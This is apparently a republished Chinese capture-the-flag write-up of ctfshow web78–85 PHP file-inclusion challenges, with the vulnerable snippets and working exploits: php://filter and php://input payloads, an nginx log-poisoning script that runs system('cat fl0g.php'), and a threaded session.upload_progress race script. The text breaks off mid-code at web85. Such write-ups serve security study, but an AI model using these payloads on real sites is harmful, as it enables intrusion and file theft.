ctfshow web入门文件包含

您所在的位置:网站首页 ctfshow web入门 文件上传 ctfshow web入门文件包含

ctfshow web入门文件包含

#ctfshow web入门文件包含| 来源: 网络整理| 查看: 265

前言:看题 web78:

    if(isset($_GET['file'])){         $file = $_GET['file'];         include($file);     }else{         highlight_file(__FILE__);     } 发现include是文件包含没错了,伪协议读取出来就可以了

    exp:?file=php://filter/convert.base64-encode/resource=flag.php web79:

    if(isset($_GET['file'])){         $file = $_GET['file'];         $file = str_replace("php", "???", $file);         include($file);     } php替换了???,大小绕过,使用php://input exp:get:?file=Php://input  post:

web80:

    if(isset($_GET['file'])){         $file = $_GET['file'];         $file = str_replace("php", "???", $file);         $file = str_replace("data", "???", $file);         include($file);     } 过滤了data,继续使用上题的exp即可

web81: 在上题的基础上又把:过滤了。这里使用日志包含来发包 exp:

    import requests          url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"     headers = {         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'     }     data = {         'dotast': 'system("cat fl0g.php");'     }     req = requests.get(url=url, headers=headers)     result = requests.post(url=url, data=data)     print(result.text) web82:

    if(isset($_GET['file'])){          $file = $_GET['file'];          $file = str_replace("php", "???", $file);          $file = str_replace("data", "???", $file);          $file = str_replace(":", "???", $file);          $file = str_replace(".", "???", $file);          include($file);      }else{          highlight_file(__FILE__);      } 这题又把.给过滤了使用日志文件包含就没作用了,这里可以使用session文件包含,php5.4之后默认选项: 1.session.upload_progress.enabled = on 2.session.upload_progress.cleanup = on 3.session.upload_progress.prefix = “upload_progress_” 4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” 5.session.use_strict_mode=off

**第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容 第三和第四个prefix+name将表示为session中的键名 第五个表示我们对Cookie中sessionID可控 可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成** exp:

    import io     import requests     import threading     url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/'          def write(session):         data = {             'PHP_SESSION_UPLOAD_PROGRESS': 'dotast'         }         while True:             f = io.BytesIO(b'a' * 1024 * 10)             response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})     def read(session):         while True:             response = session.get(url+'?file=/tmp/sess_flag')             if 'dotast' in response.text:                 print(response.text)                 break             else:                 print('retry')          if __name__ == '__main__':         session = requests.session()         for i in range(30):             threading.Thread(target=write, args=(session,)).start()         for i in range(30):             threading.Thread(target=read, args=(session,)).start()

web83-84通用82exp脚本

web85:

    if(isset($_GET['file'])){         $file = $_GET['file'];         $file = str_replace("php", "???", $file);         $file = str_replace("data", "???", $file);         $file = str_replace(":", "???", $file);         $file = str_replace(".", "???", $file);         if(file_exists($file)){             $content = file_get_contents($file);             if(strpos($content, "



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3